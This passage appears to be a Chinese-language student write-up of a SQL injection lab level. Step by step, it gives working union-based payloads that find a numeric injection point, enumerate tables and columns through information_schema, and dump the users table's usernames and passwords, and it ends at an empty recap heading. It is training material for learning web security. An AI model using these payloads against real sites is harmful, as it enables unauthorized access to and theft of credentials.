一:查找注入类型:
输入
?id=1'--+
与第一关的差别:报错;
说明不是字符型
渐进测试:?id=1--+,结果正常,说明是数字型
二:判断列数和回显位
?id=1 order by 3--+
正常, 说明有三列,然后找回显点
?id=-1 union select 1,2,3--+
三:找数据库名
?id=-1 union select 1,database(),3--+
得到数据库名:security
四:找所有的表和列
表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复习拆解句子:(直接查询)
group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息
table_name:表名
information_schema.table:数据库中所有表的信息
table_schema:数据库名
列:
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
复习拆解:(嵌套查询)
1.内层又加上select的原因: 要嵌套查询,顺序如下:
表 → 子查询(group_concat)→ 作为值插入外层SELECT的列
column_name:列名
infromation_schema.columns:包含所有表的列的信息
table_schema:数据库名
table_name:表名
五:查数据!
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
六:复盘总结
如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):